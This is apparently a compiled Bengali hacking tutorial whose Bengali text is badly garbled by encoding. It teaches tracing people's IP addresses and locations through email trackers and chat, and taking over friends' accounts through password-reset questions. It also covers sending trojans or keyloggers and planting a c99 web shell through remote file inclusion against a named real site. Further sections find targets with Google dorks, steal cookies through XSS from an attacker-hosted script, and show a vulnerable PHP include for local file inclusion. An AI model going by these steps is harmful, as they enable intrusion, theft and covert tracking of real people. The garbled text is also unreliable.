2Network ফযফাযকাযীয ফসথান খচছজ সফয কযা পরকততটা IP Address একটা কতনকতদব িসথানচছক কতনচছদব কচছয তাআ অকতন সকান জাযগা সথচছক Network ফযফায কযচছছন এটা IPAddress-এয ভাধযচছভ জানা মায IP Adderss-গচছরা র Binary Number কতকনত সফাঝায কতফধায জনয এগচছরাচছক ভানচছলয ঠনচছমাগযংচছকত (কষয ফা ংখযা) কতদচছয পরকা কযা চছয থাচছকIP Address-এয Version

যাকাযচছদয জনয একটি কতত গরতবণব কতজকতন চছে এআ IP Address সমচছত IPAddress-এয ভাধযচছভ Network

ফযফাযকাযীয সথান জানা মায তাআ যাকাচছযয জনয IP Addressরকতকচছয যাখা খফআ জরযী একটা কাজ নাচছর যাকাচছযয ফসথান পা চছয মাযায একটা চানস থাচছক

অনায কতনচছজয অআকত এচছে সদখা

পরথচছভ Start-gtRun-gtখাকতর ঘচছয কতরখন cmd এফায কী-সফাডব সথচছক এনটায চানএকটি কভানড একতযযা সদখচছত াচছফন সখাচছন কতরখন netstat ndashn এনটায চান একটি কতরে অনায াভচছন অচছফ সরাকার এচছেচছয কতদচছক সখযার করন সমটি পরথচছভ অচছফ সটিআ অনায অআকত এচছে কতিতীয কতনযভ অনায বরাউজাচছযয এচছে ফাচছয কতরখন wwwwhatismyipcom

একটি চছযফাআট খরচছফ সখাচছনআ ফি কষচছয অকতন অনায ফতব ভান অআকত সদখচছত াচছফন কতনচছচয কতরেটি ভচছন যাখন যফতীচছত কাচছজ রাগচছফ

ftpmdash-gt21smtpmdashgt25dnsmdash-gt53httpmdashgt80httpsmdash-gt81pop3mdash-gt110telnetmdashgt23

নামবাযগচছরা চছে সাটব নামবায এ িচছকব চছয সকান এক ভয অচছরাচনা কযা চছফ

সকান চছযফাআচছটয অআকত সফয কযায কতনযভ

মকতদ অকতন সকান চছযফাআট ফা সকান ফযকতিয একাউনট ফা তায কতকত যাক কযচছফন তাচছর ফপরবথভ সম কাজটি কযচছত চছফ তা চছে তায অআকত এচছে ংগর কযা মতকষন মনতব না অকতন তায অআকত এচছে সফয কযচছত াযচছছন ততকষন মনতব অকতন তায কতক আ ফা কযচছত াযচছফন এখন অনাচছদয সদখাকতে সমবাচছফ সকান চছযফাআচছটয অআকত এচছে সফয কযচছফন

পরথচছভ Start-gtRun-gtখাকতর ঘচছয কতরখন cmd এফায কী-সফাডব সথচছক এনটায চানএকটিকভানড একতযযা সদখচছত াচছফন সখাচছন কতরখন tracert websitename এনটায চান এখন কতকছ তথয সবযংকতকরযবাচছফ অনায াভচছন অচছফ অকতন সখাচছন নীরযংচছযয কতকছ সরখা সদখচছত াচছফন অকতন সখাচছনআ অনায কাকতিত অআকত এচছে টি সদখচছত াচছফন নীর সরখাগচছরায পরথভ রাআচছনআ অকতন অআকতটি সদখচছত াচছফন কতিতীয রাআন এবাচছফ চছফারচব ৩০টি হ সদখচছত াচছফন

হচছয ফযাখযা

মখন অকতন সকান চছযফাআচছট পরচছফচছয সচষঠা কচছযন তখন অকতন সবযংকতকরযবাচছফ কতকছতথয সআ চছযফাআচছটয কাচছছ সপরযন কচছযন মায পরকততউততচছয সআ চছযফাআটটি অনায কাচছছ কতকছ তথয সপরযন কচছয (মায পরাপর সবর অকতন চছযফাআট টিচছক সদখচছত ান)এআ পরকতকরযাটি চরচছতআ থাচছক ভচছন করন অকতন কভানড একতযযায কতরখচছরন tracert yahoocom

তখন অনায এআ তচছথযয যাচছকজটিগগচছরয াবব াচছয (চছমখাচছন তথয জভা থাচছক) মাচছফ গগর অনাচছক এয পরকততউততযাঠাচছফ সমচছত গগর একটি ফি াআট সচছত এয চছনকগচছরা াবব ায যচছযচছছতযাং পরকততউততযগচছরা সকর াবব ায সথচছকআ অচছ এফায অকতন অনায কভানড একতযযায রকষ করন সখাচছন চছফারচব ৩০টিয ভত অআকত হ যচছযচছছ এতগচছরা অাযভাচছন চছে গগর তায মতগচছরা াবব ায সথচছক অনায কাচছছ তথয সপরযন কযচছছ সআ াবব াযগচছরায অআকত হআ অকতন সদখচছত াচছেন

কভানডএকতযযায অকতন ধযচছনয কতকছ কতচন সদখচছত াচছফন এয ভাচছন চছে এআ সম সসথানগচছরাচছত পাযাযযার সথান কযা যচছযচছছ মাচছত কচছয সম সকউ চছজ অকরভনকযচছত না াচছয

াধাযন বর-ধাযনা

চছনচছকআঅচছছন মাযা ভচছন কচছযন সম আনটাযচছনট সথচছক সকান উরচকষভতা িনন সপকব াতযতথয ফা তথযাকতদ সদখা ফা জানা মায না অচছর এটি বর ধাযনা ভচছন করন আনটাযচছনচছট চছনচছকআ টপাআর ফা সযকতডচছযাচছযয কতপরকতভযাভ একাউনট সদয মাচছথচছক অকতন উকত ন কতকনত ভযা চছে অকতন জাচছনন না এআ একাউনট সকাথা সথচছক সদযা চছযচছছ অকতন আচছে কযচছরআ এফ তথয জানচছত াচছযন

মখন অকতন কভানড একতযযায সকান চছযফাআচছটয কতফযীচছত nslookup কতরচছখ এনটায কতদচছফনতখন যত এযকভ সরখা অচছত াচছয সম You are now authentized to this route

এযকভ কতকছ সরখা সদখচছরআ অকতন ফচছঝ সনচছফন সম আ চছযফাআচছট সপকব াতয তথযযচছযচছছ আ চছযফাআট িচছকব কতফসতাকতযত জানচছত অকতন কতনচছচয চছযফাআটগচছরাফযফায কযচছত াচছযন

wwwsamspadecomwwwdnsstuffcomwwwwhoisnet wwwwhois ঐ কর চছযফাআচছট শধভাতর চছযফাআটটিয নাভ কতদচছযআ অকতন এযঅআকত সথান ভাকতরচছকয নাভ কচছফ সকনা চছযচছছ সভযাদ কত কতদচছনয নদকতনক কতবকতজটযংখযা সনভ াবব ায আতযাকতদ কতফকতবনন তথয জানচছত াযচছফন তথয সজাগাি কযাএকজন যাকাচছযয পরাথকতভক কাজ এটি না কযচছর অকতন কতকছআ কযচছত াযচছফন না

কতরচছখচছছনঃ সভচছকতদ াান

আচছভআর দাতায অআকত ননধান

অনায সভআরফকস খরন তায সথচছক সমচছকান একটি আচছভআর খরন Reply-সত কতিককরন এফায Show original এ কতিক করন এখন সম তথযগচছরা অচছফ সগচছরা খফবাচছরাবাচছফ সখযার করন সখাচছনআ অকতন যত আচছভআর দাতায অআকত সদখচছত াচছফন কতকনত gmail সথচছক মকতদ সকউ অনাচছক সভআর কচছয তাচছর এআ িকতত নাচছয অকতন অআকত খচছজ াচছফন না এখন উায যা যা কতসথয চছফন না একষকতন তা ফরকতছ

অচছর ভর ফযাাযটি চছে gmail ফভয https ফযফায কচছয অভযা াধাযনত চছযফাআচছটয এচছেচছ সদখচছত াআ http মায িণব র চছে Hyper Text Transfer Protocol অয https চছে এআ http এয secured র অা ককতয ফঝচছত সচছযচছছন মায কাযচছনআ কতজচছভআচছর অকতন অআকত খচছজ াচছফন না এখন সমআ িকততটিয কথা অনাচছদয ফরফ সটি চছে পরায ফ ধযচছনয আচছভআর এচছে (আযাহচছভআর কতজচছভআর এভএএন আতযাকতদ) সথচছক অআকত সফয কযায িকততপরথচছভআ httpreadnotifycom াআটটি খরন এযয এখাচছন সযকতজচছেন করনএখন অকতন মায আচছভআর এচছে ননধান কযচছত চান তায ফযাযফ একটি সভআর কতরখন এফায আচছভআর ট সকন একতযযায কতরখন

victimlsquosemailidrednotifycom াঠিচছয কতদন মখন স আচছভআরটি িচছফ তখন সবযংকতকরযবাচছফ অনায কতযডচছনাটিপাআ একাউচছনট তায অআকত চচছর অচছফ অচছর কতযডচছনাটিপাআ একটি সবযংকতকরয রকাচছনা ছকতফ অনায আচছভআচছরয াচছথ ঐ ফযাকতি ফযাফয াঠিচছয সদয মায পচছর অকতন তায অআকত সচছয মান িকততটি খফ কাচছজয

ঐ চছযফ াআড টি ছনদ না চছর গচছরা ফযফায কযচছফনঃ

httpwwwdidtheyreaditcom

httpwwwpointofmailcom

ফসথান ননধান অভযা সতা অআকত সরাভ এফায সদখফ কতকবাচছফ ঐ ফযাকতিয ফসথান িচছকব জানা মায থবাৎ ফযাকতিটি সকান সদচছয সকান চছয অচছছ তা জানাপরথচছভআ httpwwwip2locationcom াআটটি খরন এআ াআটটিয খাকতর ঘচছয অনায কাকতিত অআকত এচছেটি ফকতচছয কতদন অয ভজা সদখন

অকতন মায াচছথ চযাটিং কযচছছন তায ফসথান জানা

অকতন মায াচছথ চযাটিং কযচছছন তাচছক তায অআকত মবচছনধ কতজচছগয করন সফরচছর সতা ফরচছত চছফ অনায বাগয পরনন অয না ফরচছর কতক কযচছফন একট চছকষা করন ফরকতছ এখাচছন একটি ফযাায উচছেখ কযায ভত অয তা চছে অচছগ অভযা একটি কভাচছনডয াচছথ কতযকতচত চছযকতছরাভ netstat -n এয কথা ভচছন অচছছ যা এআকভানডটি খফআ গরতবণব অকতন আনটাযচছনচছট মতগচছরা কাচছনকচছনয াচছথ মি অচছছন ঠিক ততগচছরায তথযআ এআ কভানডটিয ভাধযচছভ াযা মাচছফ অচছযকট সবচছে ফরকতছ ধরন ভচছন করন অকতন সপফচছককতজচছভআচছর এফং সটকটিউনচছ একআ চছে পরচছফকচছয অচছছন উচছযয কভানডটি এআ কততনটি াবব ায িচছকব আ অনায কাচছছ তথযাপলাআ কযচছফ ফতব ভাচছন আনটাযচছনচছট এক এক ফযাকতি চযাটিং এয এক এক নথাফযফায কচছয সমভন ICQ Messenger

MSN Messenger Yahoo Messenger Gtalk Meebo Gigsby AIM আতযাকতদ তাচছর ফঝন কতটক ঝাচছভরায কাজ কযচছত মাচছেন অকতন অয এ কাযচছনআ কতনচছচ ধাচছ ধাচছ কচছযকটি সকষতর সদযা র রকষকরন

সকষতর-১ মকতদ অকতন ICQ Messenger এ চযাট কচছযন অয সখাচছনয কায ফসথান জানচছত চান তাচছর এ িকততটি কাচছজ রাগান ICQ Messenger এয কাজ কযায ধযন চছে (অকতন-gtঅনায ফনধ-gtঅকতন) এআবাচছফ তাআ কায অআকত ংগর কযাএচছকষচছতর খফ জ কাজ ভচছন করন অকতন কায অআকত জানচছত চাচছেন তাচছর তাচছক কতট করন কতকনত চযাটিং শর কযচছফন না এফায Start-gtRun-gtcmd-gtnetstat -nএনটায কতদন সম অআকতগচছরা অচছফ তা সকান যাপ কাগচছজ কতরচছখ যাখন এফায অকতন তায াচছথ চযাটিং অযমভ করন অফায Start-gtRun-gtcmd-

gtnetstat -nএনটায কতদন এফায অকতন সখাচছন নতনএকটি অআকত সদখচছত াচছফন অয এআ ফযাকতিয াচছথআঅকতন এখন চযাটিং এ ফযাসতএফায কতকবাচছফ তায ফসথান সফয কযচছফন তা কতনশচযআ অয ফচছর কতদচছত চছফ না

সকষতর-২

Yahoo Messenger MSN Messenger GTalk Messenger এয সকষচছতর উচছযাি সভচছনজাযগচছরায কাজ কযায ধযন চছে (অকতন-সভচছনজাচছযযাবব ায-অনায ফনধ) এআবাচছফ এখাচছন মকতদ অকতন সকষতর-১ এয িকতত কাচছজ রাগান তাচছর অকতন সভচছনজাচছযয অআকত াচছফন ফযাকতিয না এআচছকষচছতর অকতন চারাচছত াচছযন সাযার আকতনজকতনযাকতযং মকতদ এটা কতনচছয যফতী ধযাচছয অচছরাচনা চছফ তথাকত এখাচছন কতকছ কতযকতচকতত সদযা চছে সাযার আকতনজকতনযাকতযং চছে কাউচছক সফাকা ফাকতনচছয তাচছক যাকতকং কযা অয এআ সভচছনজাচছযয সকষচছতর (ভচছন যাখচছফন কতধকাং সভচছনজাযআ এআ কাজটি কচছয থাচছক) অকতন অনায াচছথ চযাটিংকত ফযাকতিটিচছক ফরন অনায কাচছছ সকান পাআর াঠাচছত ফা তাচছক অকতনকতকছ াঠাচছত াচছযন সটা চছত াচছয সকান ছকতফ ফা অনায ছকতফ মকতদ স যাকতজ য তাচছর সকষতর-১ এয িকতত চাকতরচছয মান মখন অকতন তায াচছথ চযাটিং কযচছফন তখন অকতন কততকতযি সম অআকত এচছেটি সদখচছত াচছফন সটি চছে সভচছনজাচছযযঅআকত অয মখন স অনায কাচছছ সকান কতকছ াঠাচছফ তখন অচছযকটি নতন অআকত সদখচছতাচছফন সটি চছে তায অআকত এছািা অয একটি উায অচছছ তা র অকতন তাচছক অনায কাচছছ একটি সভআর াঠাচছত ফরচছত াচছযন মখনআ স সভআর াঠাচছফ অকতন কতযডচছনাটিপাআ িকতত চাকতরচছয মান মা অচছগ ফরা চছযচছছ সকান পরশন

সকষতর-৩

Meebo Gigsby Trillion আতযাকতদ ভাকতি চযাটিং আকতনজচছনয সকষচছতর এচছকষচছতর সকান িকতত সনআ শধ এতটকআ কযা মায তা র অকতন ফরচছত াচছযন অনাচছক সভআর কযচছত অয অকতন কতযডচছনাটিপাআ িকতত চারাচছত াচছযন অচছর কায অআকত াযা সতভন কঠিন কাজ নয অয এটা সতভন ফি ধযচছনয কাজ নয অআকতএচছেচছয ফযাাচছয ফরচছত সগচছর চছনক কথা ফরচছত য অআকত এচছে যচছযচছছ কতফকতবনন ধযচছনয অফায সখাচছন াফচছনট অআকতড এফং সাে অআকতড নাভক ফযাায যচছযচছছ এছািা অকতন একটি চছযফাআট শধ অআকত এচছে কতরচছখআ পরচছফ কযচছত াচছযন মকতদ সখাচছন সকসা টরানসপায এফং সকাসটরা টরানসপায নাভক ব

কতরচছখচছছনঃ সভচছকতদ াান

সাযার আকতনজকতনযাকতযং শধভাতর আনটাযচছনট জগচছতয াচছথআ মি নয ফযং তাঅভাচছদয সবাবাকতফক জীফনমাতরায াচছথ জকতিতঅকতন সকান সভচছযয াচছথ দ-নমবকতয (জ ফাংরা ফযফায কযরাভ-কতকছ ভচছন কযচছফন না) কযচছর সটা চছফ সাযার আকতনজকতনযাকতযং কতনচছজয কাচছমািব াচছযয জনয চছযয কাচছছ কতভথযা ফরচছর সটা চছফ সাযার আকতনজকতনযাকতযং ভরত কতনচছজয কাচছমািব াচছযয জনয চছযয সকান র কষকততাধন কযাচছকআ ফচছর সাযার আকতনজকতনযাকতযং

অনায ফনধয একাউনট যাকতকং কযচছত চাআচছর Forget password এ কতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐ কর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযনচছতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয

মখন সটকতরচছপান পরথভ অকতফষকত র তখন কতফচছশবয পরথভ যাকায সটকতরচছপাচছনয ফযফাযকতফকতধ খফবাচছরাবাচছফ মচছফকষবন কযর স সদখর সম মখন অভযা কাউচছক করচছদআ তখন এআকরটি পরথচছভ সটকতরচছপান কতপচছ মায চছয কাকতিত ফযাকতিটিয কাচছছ মায তখনযাকায কতকছ চকচছরট নতযী কচছয তায চছকচছট যাখর াচছথ যাখর একটি ফাকতস এআ ফরর সম চকচছরচছটয াচছথ এটা একটি কতগফট এফায ভানচছলযা এফং তাচছদয ফারচাযা ফাকতগচছরা িাযা য তরচছত রাগর মায পচছর কতি র একধযচছনয তযে মা সটকতরচছপান াবব াচছযয তযচছেয ভত এটাআ যফতীচছত যাকাযচছদয াযাকতফচছশব কতফনাভচছরয কর কযচছত াাময কযর

িণব পরকযাটি রকষ করন স শধ কতনচছজয কতচনতা কাচছজ রাগার এফংএকটি সছাটফাকত নতযী কযর তাচছর সদখন সাযার আকতনজকতনযাকতযং খফআগরতবনবঅকতন সকান কতকছচছক ফি কযচছত চছর সাযার আকতনজকতনযাকতযং এযাাময ফযাকতততমভফ নয

অনায ফনধয কব ট একাউনট যাকতকং কযচছতচাআচছর Forget password একতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐকর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযন সতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয

মিািযা িআসজজসিোসরিংমের লসিলাী িিংজঞা

ভানলকতক বাচব যার জগচছত মাকতচত কাজ সমভন সকান কচছবাচছযট কতপচছয সনটযাচছকব পরচছফ তাচছদয নরাআন কতকতকউকতযটি পাযাযযার একাউনট আতযাকতদ কতনকতফিবাচছফ মচছফকষবন কচছয তাচছত অকরভন কযা এচছকষচছতর কতফকতবনন ধযচছনয পটযযাচছযয াাময সনযা মায ফা কতনচছজয ফানাচছনা সকান াডব যযায ফা সকাকতডং কাচছজ রাগাচছনা মায

ভচছন করন অনায আচছভআচছর এর এযকভ একটি ফাতব া সম Congrats You have got 100000 free visitor CLICK

HERE for withdraw এবাচছফ পরকততকতদন ভগর কতফচছশব াজায াজায ভানল তাচছদয সকরকতডটকাচছডব য তথয কতফকতবননগরতবণব তথয নরাআচছন জভা কতদচছে অয যাকতকংচছযয কতকায চছে সাযার আকতনজকতনযাকতযং কতনচছনাি কচছযকটি বাচছগকতফবি

ndashgtimpersonation

mdashgtposing as imp user

mdashgt3rd person approach

mdashgttechnical support

কসিউটার সভসিক মিািযা িআসজজসিোসরিং

কতনচছচয কচছযকটি বাচছগ কতফবি

ndashgtmailim attachments

ndashgtpop up windows

mdashgtsweepstakes

mdashgtspam mail

এআ ধযাচছযয এখাচছনআ ভাকতি ভচছন যাখচছফন সকান কাজ কযায অচছগ এয সাযার আকতনজকতনযাকতযংচছযয ফযাযটি খফ বাচছরাবাচছফ নধাফন কযা উকতচত মখন অভযা কায আচছভআচছর সকান কতকছ াঠাআ এফং স মকতদ কতকছ াঠায সটাআ সাযার আকতনজকতনযাকতযং অয এবাচছফআ অভযা সাযার আকতনজকতনযাকতযং কাউচছক সটরাজান ফা কী-রগায াঠাচছত ফযফায কযফ ফাআ খফ বাচছরা থাকচছফন

কতরচছখচছছনঃ সভচছকতদ াান

অজ সদখাফ Remote file inclusion যাকতকং অনাযা যত জাচছনন না সম যাকতকং কযায সথচছক যাকতকং কতনচছয সাি সরখা অয কঠিন কিকয মকতদ সাি কযচছতন তাচছর ফঝচছতন থাক সাি কযা রাগচছফ না শধ ভনতফয কযচছরআ চছফ ভনতফয কযচছর সাচছিয সরখক উৎাকতত য এচছত তাচছদয সরখায গকতত সবাচনদয ফাচছি তাচছর অয কথা নয এফায শর চছয মাক সািটিhellip

Remote file inclusion যাকতকং এচছক ংচছকষচছ ফচছর RFI যাকতকং এটি ননযা যাকতকং ভযাথচছডয ভচছধয এটি একটি নযতভ জনকতপরয ভযাথড নযনযা িকততয ভচছতা এআ িকততচছত অনাচছক চছযফাআচছটয vulnerability সফয কযচছত চছফ এআ vulnerability এয ভাধযচছভ একজন যাকায একটি চছযফ াবব াচছযয remote file মি কযচছত াচছয অা ককতয RFI যাকতকং িচছকব সভাটাভটি ধাযণা সচছযচছছন

mdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdash

mdashmdashmdashmdashmdash

সকান াআটটি vulnerable কতকবাচছফ ফঝচছফন খফআ কঠিন পরশন তাআ না এআ পরচছশনয উততয জানায জনয কতনচছচয কতরংকটি সদচছখনhellip

httpwwwtargetsitecomindexphppage=Anything

উচছযয কতরংচছকয ভচছতাআ সদখচছত াচছফন সমগচছরা অকতন খজচছেন তনন তনন কচছয এখন এগচছরা ফাকতয কযচছফন কতকবাচছফ গগর ডকদযকায কতনন কতনচছচ গগর ডক কতদরাভ

ldquoinurlindexphppage=rdquo

উচছযয ডকটি গগচছর কতনচছয াচব কতদন তাচছর অনাচছক ―indexphppage= এআ টাআচছয মত চছযফাআট অচছছ

ফগচছরা চছযফাআট গগর অনায াভচছন এচছন াকতজয কযচছফ এখন সকান চছযফাআটটি অজচছকয ভযাথচছডয জনয vulnerable তা যীকষা কচছয সদখচছত চছফ কতকবাচছফ কযচছফন কতনচছচয ভচছতা কচছয করন

httpwwwtargetsitecomindexphppage=wwwgooglecom

এখন ভচছন কচছযন অকতভ অকতভ httpwwwcbspkcomএআ াআটটি খচছজ সচছযকতছ এখন অভযা চাআফ এটা vulnerable কতক না তাচছর কতরখনhellip

httpwwwcbspkcomv2indexphppage=httpwwwtunerpagecom

তাচছর এটি সদখাচছফhellip

এখন মকতদ উি চছযফাআটটি নয চছযফাআট কতনচছয সখাচছর তাচছর ফঝচছফন সম এআ চছযফ াআচছট RFI আচছেকান সদযা মাচছফ এফায অন চছযয ধাচছhellip

এযয াধাযণত যাকাযযা তায কতবকটিচছভয চছযফাআচছট সম সকান Shells অচছরাড কচছয মাচছত তায কাজটি ফাআচছক সদখাচছত ভাচছন পরভাণটি সফকতযবাগ যাকাযযা c99 shell ফা r57 shell অচছরাড কচছয অকতভ অনাচছদয সদখাফ c99 shell অচছরাড কযা এজনয যাকাযযা সম সকান একটি চছযফচছািটিং াআচছট তাচছদয সর অচছরাড কচছয সনয সমভন-ripwaycom 110mbcom আতযাকতদ এখন ভচছন কচছযন অকতভ ripwaycom এআ াআচছট সর অচছরাড কযরাভ তাচছর অভায কতরংক চছফhellip

httph1ripwaycomtjunselectedc99shellphp

এফায যাকায চছযফাআটটিচছত একটি কভানড কতদচছফ কভানডটি চছফ httpwwwcbspkcomv2indexphppage=httph1ripwaycomtjunselectedc99shellphp

এখন তাচছর এটি চছযফাআট সদখফ সদচছখন কতক সদচছখন

তচছফ ফযআ ভচছন যাখচছফন কতরংচছকয সচছলldquo rdquo পরশনচছফাধক কতচহনটি রাকতগচছয কতদচছফন নতফা অনায সর কাজ কযচছফ না

কতনফবাকতচতটিউনাযtrade

XSS কতক

XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web

Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয

ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600

xss-threat3jpg

XSS Vulnerability and Injection

যাপ ১ Vulnerable মেব িািআট োমজ মবর করা

অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks

ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=

তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন

যাপ ২ Vulnerability পরীো করা

এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন

না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password

Vulnerability যীকষা কযা জনয দটি িকতত অচছছ

পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয

http2bpblogspotcom-

8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg

পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here

যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন

এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-

পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন

সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=

এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable

যাপ ৩ Malicious Scripts মদো

Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ

এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ

httpattackerSitemaliciousjs

এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ

এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ

িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent

Persistent XSS

এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage

Non-Persistent XSS

এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily

একজি হযাকার এিআ Vulnerability সদমে সক কমর

কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা

চছযফ াআচছটয Bypassing restriction

Session Hijacking Malware Attack

Website Defacement Dos attacks

কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর

শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম

অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে

যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক

LFI

যাকাযচছদয

একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র

Local File Inclusionঅজ

অনাচছদয

াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য

পরথচছভ

কতনচছচয PHP সকাডগচছরা

সদখনhellip

$page=$_GET[page] include($page)

gt

উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক

কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ

wwwmywebsitecomindexphppage=productsphp

অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম

এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র

wwwmywebsitecomindexphppage=mypagephp

এখাচছন

সদচছখন mypagephp াতাটি

াবব াচছয

সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-

Warning

include() [functioninclude] Failed opening mypagephp for

